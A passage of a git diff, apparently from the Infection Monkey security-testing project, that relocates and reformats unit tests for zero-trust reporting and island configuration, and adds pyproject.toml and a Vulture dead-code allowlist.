get_monkey_details_dto() + monkey_details.save() + return MonkeyFinding( + test=TEST_ENDPOINT_SECURITY_EXISTS, status=STATUS_PASSED, details=monkey_details + ) diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py similarity index 72% rename from monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py rename to monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py index b0050a8c9..c7053ebda 100644 --- a/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py @@ -6,25 +6,26 @@ EVENTS = [ "timestamp": "2021-01-20T15:40:28.357Z", "title": "Process list", "message": "Monkey on pc-24 scanned the process list", - "event_type": "monkey_local" + "event_type": "monkey_local", }, { "timestamp": "2021-01-20T16:08:29.519Z", "title": "Process list", "message": "", - "event_type": "monkey_local" + "event_type": "monkey_local", }, ] EVENTS_DTO = [ - Event(timestamp=event['timestamp'], - title=event['title'], - message=event['message'], - event_type=event['event_type']) for event in EVENTS + Event( + timestamp=event["timestamp"], + title=event["title"], + message=event["message"], + event_type=event["event_type"], + ) + for event in EVENTS ] -DETAILS_DTO = [] - def get_monkey_details_dto() -> MonkeyFindingDetails: monkey_details = MonkeyFindingDetails() diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py new file mode 100644 index 000000000..2302b68e9 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py @@ -0,0 +1,89 @@ +from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails +from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule +from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import ( + PermissiveFirewallRules, + UnencryptedData, +) + +SCOUTSUITE_FINDINGS = [PermissiveFirewallRules, UnencryptedData] + +RULES = [ + ScoutSuiteRule( + checked_items=179, + compliance=None, + dashboard_name="Rules", + description="Security Group Opens All Ports to All", + flagged_items=2, + items=[ + "ec2.regions.eu-central-1.vpcs.vpc-0ee259b1a13c50229.security_groups.sg" + "-035779fe5c293fc72" + ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.2.CIDR", + "ec2.regions.eu-central-1.vpcs.vpc-00015526b6695f9aa.security_groups.sg" + "-019eb67135ec81e65" + ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR", + ], + level="danger", + path="ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs" + ".id.CIDR", + rationale="It was detected that all ports in the security group are open, " + "and any source IP address" + " could send traffic to these ports, which creates a wider attack surface " + "for resources " + "assigned to it. Open ports should be reduced to the minimum needed to " + "correctly", + references=[], + remediation=None, + service="EC2", + ), + ScoutSuiteRule( + checked_items=179, + compliance=[ + {"name": "CIS Amazon Web Services Foundations", "version": "1.0.0", "reference": "4.1"}, + {"name": "CIS Amazon Web Services Foundations", "version": "1.0.0", "reference": "4.2"}, + {"name": "CIS Amazon Web Services Foundations", "version": "1.1.0", "reference": "4.1"}, + {"name": "CIS Amazon Web Services Foundations", "version": "1.1.0", "reference": "4.2"}, + {"name": "CIS Amazon Web Services Foundations", "version": "1.2.0", "reference": "4.1"}, + {"name": "CIS Amazon Web Services Foundations", "version": "1.2.0", "reference": "4.2"}, + ], + dashboard_name="Rules", + description="Security Group Opens RDP Port to All", + flagged_items=7, + items=[ + "ec2.regions.eu-central-1.vpcs.vpc-076500a2138ee09da.security_groups.sg" + "-00bdef5951797199c" + ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", + "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-007931ba8a364e330" + ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", + "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-05014daf996b042dd" + ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", + "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0c745fe56c66335b2" + ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", + "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0f99b85cfad63d1b1" + ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", + "ec2.regions.us-east-1.vpcs.vpc-9e56cae4.security_groups.sg-0dc253aa79062835a" + ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", + "ec2.regions.us-east-1.vpcs.vpc-002d543353cd4e97d.security_groups.sg" + "-01902f153d4f938da" + ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", + ], + level="danger", + path="ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs" + ".id.CIDR", + rationale="The security group was found to be exposing a well-known port to all " + "source addresses." + " Well-known ports are commonly probed by automated scanning tools, " + "and could be an indicator " + "of sensitive services exposed to Internet. If such services need to be " + "expos", + references=[], + remediation="Remove the inbound rules that expose open ports", + service="EC2", + ), +] + + +def get_scoutsuite_details_dto() -> ScoutSuiteFindingDetails: + scoutsuite_details = ScoutSuiteFindingDetails() + scoutsuite_details.scoutsuite_rules.append(RULES[0]) + scoutsuite_details.scoutsuite_rules.append(RULES[1]) + return scoutsuite_details diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py new file mode 100644 index 000000000..4c2c1527f --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py @@ -0,0 +1,64 @@ +from unittest.mock import MagicMock + +import pytest +from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.finding_data import ( + get_monkey_finding_dto, + get_scoutsuite_finding_dto, +) + +from common.common_consts.zero_trust_consts import ( + DEVICES, + NETWORKS, + STATUS_FAILED, + STATUS_PASSED, + TEST_ENDPOINT_SECURITY_EXISTS, + TEST_SCOUTSUITE_SERVICE_SECURITY, + TESTS_MAP, +) +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import ( + MonkeyZTDetailsService, +) +from monkey_island.cc.services.zero_trust.zero_trust_report.finding_service import ( + EnrichedFinding, + FindingService, +) + + +@pytest.mark.usefixtures("uses_database") +def test_get_all_findings(): + get_scoutsuite_finding_dto().save() + get_monkey_finding_dto().save() + + # This method fails due to mongomock not being able to simulate $unset, so don't test details + MonkeyZTDetailsService.fetch_details_for_display = MagicMock(return_value=None) + + findings = FindingService.get_all_findings_for_ui() + + description = TESTS_MAP[TEST_SCOUTSUITE_SERVICE_SECURITY]["finding_explanation"][STATUS_FAILED] + expected_finding0 = EnrichedFinding( + finding_id=findings[0].finding_id, + pillars=[DEVICES, NETWORKS], + status=STATUS_FAILED, + test=description, + test_key=TEST_SCOUTSUITE_SERVICE_SECURITY, + details=None, + ) + + description = TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS]["finding_explanation"][STATUS_PASSED] + expected_finding1 = EnrichedFinding( + finding_id=findings[1].finding_id, + pillars=[DEVICES], + status=STATUS_PASSED, + test=description, + test_key=TEST_ENDPOINT_SECURITY_EXISTS, + details=None, + ) + + # Don't test details + details = [] + for finding in findings: + details.append(finding.details) + finding.details = None + + assert findings[0] == expected_finding0 + assert findings[1] == expected_finding1 diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py similarity index 81% rename from monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py rename to monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py index bf2bbe1a5..1be9f2fcb 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py @@ -1,17 +1,24 @@ from typing import List import pytest +from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.example_finding_data import ( # noqa: E501 + save_example_findings, +) from common.common_consts import zero_trust_consts -from common.common_consts.zero_trust_consts import DATA, PEOPLE, NETWORKS, WORKLOADS, VISIBILITY_ANALYTICS, \ - AUTOMATION_ORCHESTRATION, DEVICES +from common.common_consts.zero_trust_consts import ( + AUTOMATION_ORCHESTRATION, + DATA, + DEVICES, + NETWORKS, + PEOPLE, + VISIBILITY_ANALYTICS, + WORKLOADS, +) from monkey_island.cc.services.zero_trust.zero_trust_report.pillar_service import PillarService -from monkey_island.cc.services.zero_trust.zero_trust_report.test_common.example_finding_data import \ - save_example_findings -from monkey_island.cc.test_common.fixtures import FixtureEnum -@pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) +@pytest.mark.usefixtures("uses_database") def test_get_pillars_grades(): save_example_findings() expected_grades = _get_expected_pillar_grades() @@ -27,7 +34,7 @@ def _get_expected_pillar_grades() -> List[dict]: zero_trust_consts.STATUS_PASSED: 1, # 2 different tests of DATA pillar were executed in _save_findings() zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(DATA) - 2, - "pillar": "Data" + "pillar": "Data", }, { zero_trust_consts.STATUS_FAILED: 0, @@ -35,7 +42,7 @@ def _get_expected_pillar_grades() -> List[dict]: zero_trust_consts.STATUS_PASSED: 0, # 1 test of PEOPLE pillar were executed in _save_findings() zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(PEOPLE) - 1, - "pillar": "People" + "pillar": "People", }, { zero_trust_consts.STATUS_FAILED: 0, @@ -43,7 +50,7 @@ def _get_expected_pillar_grades() -> List[dict]: zero_trust_consts.STATUS_PASSED: 0, # 1 different tests of NETWORKS pillar were executed in _save_findings() zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(NETWORKS) - 1, - "pillar": "Networks" + "pillar": "Networks", }, { zero_trust_consts.STATUS_FAILED: 1, @@ -51,7 +58,7 @@ def _get_expected_pillar_grades() -> List[dict]: zero_trust_consts.STATUS_PASSED: 2, # 1 different tests of DEVICES pillar were executed in _save_findings() zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(DEVICES) - 1, - "pillar": "Devices" + "pillar": "Devices", }, { zero_trust_consts.STATUS_FAILED: 0, @@ -59,7 +66,7 @@ def _get_expected_pillar_grades() -> List[dict]: zero_trust_consts.STATUS_PASSED: 0, # 0 different tests of WORKLOADS pillar were executed in _save_findings() zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(WORKLOADS), - "pillar": "Workloads" + "pillar": "Workloads", }, { zero_trust_consts.STATUS_FAILED: 0, @@ -67,25 +74,29 @@ def _get_expected_pillar_grades() -> List[dict]: zero_trust_consts.STATUS_PASSED: 0, # 0 different tests of VISIBILITY_ANALYTICS pillar were executed in _save_findings() zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(VISIBILITY_ANALYTICS), - "pillar": "Visibility & Analytics" + "pillar": "Visibility & Analytics", }, { zero_trust_consts.STATUS_FAILED: 0, zero_trust_consts.STATUS_VERIFY: 0, zero_trust_consts.STATUS_PASSED: 0, # 0 different tests of AUTOMATION_ORCHESTRATION pillar were executed in _save_findings() - zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(AUTOMATION_ORCHESTRATION), - "pillar": "Automation & Orchestration" - } + zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar( + AUTOMATION_ORCHESTRATION + ), + "pillar": "Automation & Orchestration", + }, ] def _get_cnt_of_tests_in_pillar(pillar: str): - tests_in_pillar = [value for (key, value) in zero_trust_consts.TESTS_MAP.items() if pillar in value['pillars']] + tests_in_pillar = [ + value for (key, value) in zero_trust_consts.TESTS_MAP.items() if pillar in value["pillars"] + ] return len(tests_in_pillar) -@pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) +@pytest.mark.usefixtures("uses_database") def test_get_pillars_to_statuses(): # Test empty database expected = { @@ -95,7 +106,7 @@ def test_get_pillars_to_statuses(): zero_trust_consts.PEOPLE: zero_trust_consts.STATUS_UNEXECUTED, zero_trust_consts.VISIBILITY_ANALYTICS: zero_trust_consts.STATUS_UNEXECUTED, zero_trust_consts.WORKLOADS: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.DATA: zero_trust_consts.STATUS_UNEXECUTED + zero_trust_consts.DATA: zero_trust_consts.STATUS_UNEXECUTED, } assert PillarService._get_pillars_to_statuses() == expected @@ -108,6 +119,6 @@ def test_get_pillars_to_statuses(): zero_trust_consts.PEOPLE: zero_trust_consts.STATUS_VERIFY, zero_trust_consts.VISIBILITY_ANALYTICS: zero_trust_consts.STATUS_UNEXECUTED, zero_trust_consts.WORKLOADS: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.DATA: zero_trust_consts.STATUS_FAILED + zero_trust_consts.DATA: zero_trust_consts.STATUS_FAILED, } assert PillarService._get_pillars_to_statuses() == expected diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py new file mode 100644 index 000000000..7bd2b01c7 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py @@ -0,0 +1,88 @@ +import pytest +from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.finding_data import ( + get_monkey_finding_dto, + get_scoutsuite_finding_dto, +) + +from common.common_consts import zero_trust_consts +from monkey_island.cc.services.zero_trust.zero_trust_report.principle_service import ( + PrincipleService, +) + +EXPECTED_DICT = { + "test_pillar1": [ + { + "principle": "Test principle description2", + "status": zero_trust_consts.STATUS_FAILED, + "tests": [ + {"status": zero_trust_consts.STATUS_PASSED, "test": "You ran a test2"}, + {"status": zero_trust_consts.STATUS_FAILED, "test": "You ran a test3"}, + ], + } + ], + "test_pillar2": [ + { + "principle": "Test principle description", + "status": zero_trust_consts.STATUS_PASSED, + "tests": [{"status": zero_trust_consts.STATUS_PASSED, "test": "You ran a test1"}], + }, + { + "principle": "Test principle description2", + "status": zero_trust_consts.STATUS_FAILED, + "tests": [ + {"status": zero_trust_consts.STATUS_PASSED, "test": "You ran a test2"}, + {"status": zero_trust_consts.STATUS_FAILED, "test": "You ran a test3"}, + ], + }, + ], +} + + +@pytest.mark.usefixtures("uses_database") +def test_get_principles_status(): + TEST_PILLAR1 = "test_pillar1" + TEST_PILLAR2 = "test_pillar2" + zero_trust_consts.PILLARS = (TEST_PILLAR1, TEST_PILLAR2) + + principles_to_tests = { + "network_policies": ["segmentation"], + "endpoint_security": ["tunneling", "scoutsuite_service_security"], + } + zero_trust_consts.PRINCIPLES_TO_TESTS = principles_to_tests + + principles_to_pillars = { + "network_policies": {"test_pillar2"}, + "endpoint_security": {"test_pillar1", "test_pillar2"}, + } + zero_trust_consts.PRINCIPLES_TO_PILLARS = principles_to_pillars + + principles = { + "network_policies": "Test principle description", + "endpoint_security": "Test principle description2", + } + zero_trust_consts.PRINCIPLES = principles + + tests_map = { + "segmentation": {"explanation": "You ran a test1"}, + "tunneling": {"explanation": "You ran a test2"}, + "scoutsuite_service_security": {"explanation": "You ran a test3"}, + } + zero_trust_consts.TESTS_MAP = tests_map + + monkey_finding = get_monkey_finding_dto() + monkey_finding.test = "segmentation" + monkey_finding.save() + + monkey_finding = get_monkey_finding_dto() + monkey_finding.test = "tunneling" + monkey_finding.save() + + scoutsuite_finding = get_scoutsuite_finding_dto() + scoutsuite_finding.test = "scoutsuite_service_security" + scoutsuite_finding.save() + + expected = dict(EXPECTED_DICT) # new mutable + + result = PrincipleService.get_principles_status() + + assert result == expected diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/mongo/test_mongo_setup.py b/monkey/tests/unit_tests/monkey_island/cc/setup/mongo/test_mongo_setup.py new file mode 100644 index 000000000..502e7dbfe --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/mongo/test_mongo_setup.py @@ -0,0 +1,16 @@ +import pytest + +from monkey_island.cc.setup.mongo import mongo_setup + + +def test_connect_to_mongodb_timeout(monkeypatch): + monkeypatch.setattr(mongo_setup, "is_db_server_up", lambda _: False) + with pytest.raises(mongo_setup.MongoDBTimeOutError): + mongo_setup.connect_to_mongodb(0.0000000001) + + +def test_connect_to_mongodb_version_too_old(monkeypatch): + monkeypatch.setattr(mongo_setup, "is_db_server_up", lambda _: True) + monkeypatch.setattr(mongo_setup, "get_db_version", lambda _: ("1", "0", "0")) + with pytest.raises(mongo_setup.MongoDBVersionError): + mongo_setup.connect_to_mongodb(0) diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py new file mode 100644 index 000000000..c9964af7e --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py @@ -0,0 +1,146 @@ +import os +from pathlib import Path + +from monkey_island.cc.server_utils.consts import ( + DEFAULT_CRT_PATH, + DEFAULT_DATA_DIR, + DEFAULT_KEY_PATH, + DEFAULT_LOG_LEVEL, + DEFAULT_START_MONGO_DB, +) +from monkey_island.cc.setup.island_config_options import IslandConfigOptions + +TEST_CONFIG_FILE_CONTENTS_SPECIFIED = { + "data_dir": "/tmp", + "log_level": "test", + "mongodb": {"start_mongodb": False}, + "ssl_certificate": { + "ssl_certificate_file": "/tmp/test.crt", + "ssl_certificate_key_file": "/tmp/test.key", + }, +} + +TEST_CONFIG_FILE_CONTENTS_UNSPECIFIED = {} + +TEST_CONFIG_FILE_CONTENTS_NO_STARTMONGO = {"mongodb": {}} + + +def test_data_dir_specified(): + assert_data_dir_equals(TEST_CONFIG_FILE_CONTENTS_SPECIFIED, "/tmp") + + +def test_data_dir_uses_default(): + assert_data_dir_equals(TEST_CONFIG_FILE_CONTENTS_UNSPECIFIED, DEFAULT_DATA_DIR) + + +def test_data_dir_expanduser(patched_home_env): + DATA_DIR_NAME = "test_data_dir" + + assert_data_dir_equals( + {"data_dir": os.path.join("~", DATA_DIR_NAME)}, + patched_home_env / DATA_DIR_NAME, + ) + + +def test_data_dir_expandvars(patched_home_env): + DATA_DIR_NAME = "test_data_dir" + + assert_data_dir_equals( + {"data_dir": os.path.join("$HOME", DATA_DIR_NAME)}, + patched_home_env / DATA_DIR_NAME, + ) + + +def assert_data_dir_equals(config_file_contents, expected_data_dir): + assert_island_config_option_equals(config_file_contents, "data_dir", Path(expected_data_dir)) + + +def test_log_level(): + options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_SPECIFIED) + assert options.log_level == "test" + options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_UNSPECIFIED) + assert options.log_level == DEFAULT_LOG_LEVEL + + +def test_mongodb(): + options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_SPECIFIED) + assert not options.start_mongodb + options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_UNSPECIFIED) + assert options.start_mongodb == DEFAULT_START_MONGO_DB + options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_NO_STARTMONGO) + assert options.start_mongodb == DEFAULT_START_MONGO_DB + + +def test_crt_path_uses_default(): + assert_ssl_certificate_file_equals(TEST_CONFIG_FILE_CONTENTS_UNSPECIFIED, DEFAULT_CRT_PATH) + + +def test_crt_path_specified(): + assert_ssl_certificate_file_equals( + TEST_CONFIG_FILE_CONTENTS_SPECIFIED, + TEST_CONFIG_FILE_CONTENTS_SPECIFIED["ssl_certificate"]["ssl_certificate_file"], + ) + + +def test_crt_path_expanduser(patched_home_env): + FILE_NAME = "test.crt" + + assert_ssl_certificate_file_equals( + {"ssl_certificate": {"ssl_certificate_file": os.path.join("~", FILE_NAME)}}, + patched_home_env / FILE_NAME, + ) + + +def test_crt_path_expandvars(patched_home_env): + FILE_NAME = "test.crt" + + assert_ssl_certificate_file_equals( + {"ssl_certificate": {"ssl_certificate_file": os.path.join("$HOME", FILE_NAME)}}, + patched_home_env / FILE_NAME, + ) + + +def assert_ssl_certificate_file_equals(config_file_contents, expected_ssl_certificate_file): + assert_island_config_option_equals( + config_file_contents, "crt_path", Path(expected_ssl_certificate_file) + ) + + +def test_key_path_uses_default(): + assert_ssl_certificate_key_file_equals(TEST_CONFIG_FILE_CONTENTS_UNSPECIFIED, DEFAULT_KEY_PATH) + + +def test_key_path_specified(): + assert_ssl_certificate_key_file_equals( + TEST_CONFIG_FILE_CONTENTS_SPECIFIED, + TEST_CONFIG_FILE_CONTENTS_SPECIFIED["ssl_certificate"]["ssl_certificate_key_file"], + ) + + +def test_key_path_expanduser(patched_home_env): + FILE_NAME = "test.key" + + assert_ssl_certificate_key_file_equals( + {"ssl_certificate": {"ssl_certificate_key_file": os.path.join("~", FILE_NAME)}}, + patched_home_env / FILE_NAME, + ) + + +def test_key_path_expandvars(patched_home_env): + FILE_NAME = "test.key" + + assert_ssl_certificate_key_file_equals( + {"ssl_certificate": {"ssl_certificate_key_file": os.path.join("$HOME", FILE_NAME)}}, + patched_home_env / FILE_NAME, + ) + + +def assert_ssl_certificate_key_file_equals(config_file_contents, expected_ssl_certificate_file): + assert_island_config_option_equals( + config_file_contents, "key_path", Path(expected_ssl_certificate_file) + ) + + +def assert_island_config_option_equals(config_file_contents, option_name, expected_value): + options = IslandConfigOptions(config_file_contents) + assert getattr(options, option_name) == expected_value diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py new file mode 100644 index 000000000..9fb132305 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py @@ -0,0 +1,84 @@ +import os +from collections.abc import Callable + +import pytest + +from monkey_island.cc.setup.island_config_options import IslandConfigOptions +from monkey_island.cc.setup.island_config_options_validator import raise_on_invalid_options + + +def certificate_test_island_config_options(crt_file, key_file): + return IslandConfigOptions( + { + "ssl_certificate": { + "ssl_certificate_file": crt_file, + "ssl_certificate_key_file": key_file, + } + } + ) + + +@pytest.fixture +def linux_island_config_options(create_empty_tmp_file: Callable): + crt_file = create_empty_tmp_file("test.crt") + key_file = create_empty_tmp_file("test.key") + + return certificate_test_island_config_options(crt_file, key_file) + + +@pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") +def test_linux_valid_crt_and_key_paths(linux_island_config_options): + try: + raise_on_invalid_options(linux_island_config_options) + except Exception as ex: + print(ex) + assert False + + +@pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") +def test_linux_crt_path_does_not_exist(linux_island_config_options): + os.remove(linux_island_config_options.crt_path) + + with pytest.raises(FileNotFoundError): + raise_on_invalid_options(linux_island_config_options) + + +@pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") +def test_linux_key_path_does_not_exist(linux_island_config_options): + os.remove(linux_island_config_options.key_path) + + with pytest.raises(FileNotFoundError): + raise_on_invalid_options(linux_island_config_options) + + +@pytest.fixture +def windows_island_config_options(tmpdir: str, create_empty_tmp_file: Callable): + crt_file = create_empty_tmp_file("test.crt") + key_file = create_empty_tmp_file("test.key") + + return certificate_test_island_config_options(crt_file, key_file) + + +@pytest.mark.skipif(os.name == "posix", reason="Tests Windows (not Posix) permissions.") +def test_windows_valid_crt_and_key_paths(windows_island_config_options): + try: + raise_on_invalid_options(windows_island_config_options) + except Exception as ex: + print(ex) + assert False + + +@pytest.mark.skipif(os.name == "posix", reason="Tests Windows (not Posix) permissions.") +def test_windows_crt_path_does_not_exist(windows_island_config_options): + os.remove(windows_island_config_options.crt_path) + + with pytest.raises(FileNotFoundError): + raise_on_invalid_options(windows_island_config_options) + + +@pytest.mark.skipif(os.name == "posix", reason="Tests Windows (not Posix) permissions.") +def test_windows_key_path_does_not_exist(windows_island_config_options): + os.remove(windows_island_config_options.key_path) + + with pytest.raises(FileNotFoundError): + raise_on_invalid_options(windows_island_config_options) diff --git a/monkey/tests/unit_tests/monkey_island/conftest.py b/monkey/tests/unit_tests/monkey_island/conftest.py new file mode 100644 index 000000000..2ccecd616 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/conftest.py @@ -0,0 +1,21 @@ +import os +from collections.abc import Callable + +import pytest + + +@pytest.fixture(scope="module") +def server_configs_dir(data_for_tests_dir): + return os.path.join(data_for_tests_dir, "server_configs") + + +@pytest.fixture +def create_empty_tmp_file(tmpdir: str) -> Callable: + def inner(file_name: str): + new_file = os.path.join(tmpdir, file_name) + with open(new_file, "w"): + pass + + return new_file + + return inner diff --git a/monkey/tests/utils.py b/monkey/tests/utils.py new file mode 100644 index 000000000..9b57a9cc7 --- /dev/null +++ b/monkey/tests/utils.py @@ -0,0 +1,13 @@ +import ctypes +import os + + +def is_user_admin(): + if os.name == "posix": + return os.getuid() == 0 + + return ctypes.windll.shell32.IsUserAnAdmin() + + +def raise_(ex): + raise ex diff --git a/pyproject.toml b/pyproject.toml new file mode 100644 index 000000000..05c8dfe81 --- /dev/null +++ b/pyproject.toml @@ -0,0 +1,28 @@ +[tool.black] +line-length = 100 +target-version = ['py37'] + +[tool.isort] +skip = "monkey/monkey_island/cc/ui" +known_first_party = "common,infection_monkey,monkey_island" +line_length = 100 +### for compatibility with black +multi_line_output = 3 +include_trailing_comma = true +force_grid_wrap = 0 +use_parentheses = true +ensure_newline_before_comments = true + +[tool.pytest.ini_options] +minversion = "6.0" +log_cli = 1 +log_cli_level = "DEBUG" +log_cli_format = "%(asctime)s [%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s" +log_cli_date_format = "%H:%M:%S" +addopts = "-v --capture=sys tests/unit_tests" +norecursedirs = "node_modules dist" +markers = ["slow: mark test as slow"] + +[tool.vulture] +exclude = ["monkey/monkey_island/cc/ui/", "monkey/tests/"] +paths = ["."] diff --git a/vulture_allowlist.py b/vulture_allowlist.py new file mode 100644 index 000000000..b39d61dd8 --- /dev/null +++ b/vulture_allowlist.py @@ -0,0 +1,198 @@ +""" +Everything in this file is what Vulture found as dead code but either isn't really +dead or is kept deliberately. Referencing these in a file like this makes sure that +Vulture doesn't mark these as dead again. +""" + + +fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37) +set_os_linux # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37) +fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:57) +set_os_windows # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:57) +fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:77) +set_os_linux # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:77) +fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:92) +set_os_windows # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:92) +fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:107) +set_os_linux # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:107) +fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:122) +set_os_windows # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:122) +patch_new_user_classes # unused variable (monkey/tests/infection_monkey/utils/test_auto_new_user_factory.py:25) +patch_new_user_classes # unused variable (monkey/tests/infection_monkey/utils/test_auto_new_user_factory.py:31) +custom_pba_directory # unused variable (monkey/tests/monkey_island/cc/services/test_post_breach_files.py:20) +configure_resources # unused function (monkey/tests/monkey_island/cc/environment/test_environment.py:26) +change_to_mongo_mock # unused function (monkey/monkey_island/cc/test_common/fixtures/mongomock_fixtures.py:9) +uses_database # unused function (monkey/monkey_island/cc/test_common/fixtures/mongomock_fixtures.py:16) +datas # unused variable (monkey/monkey_island/pyinstaller_hooks/hook-stix2.py:9) +test_key # unused variable (monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py:20) +pillars # unused variable (monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py:21) +CLEAN_UNKNOWN # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:9) +CLEAN_LINUX # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:10) +CLEAN_WINDOWS # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:11) +EXPLOITED_LINUX # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:12) +EXPLOITED_WINDOWS # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:13) +ISLAND_MONKEY_LINUX # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:15) +ISLAND_MONKEY_LINUX_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:16) +ISLAND_MONKEY_LINUX_STARTING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:17) +ISLAND_MONKEY_WINDOWS # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:18) +ISLAND_MONKEY_WINDOWS_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:19) 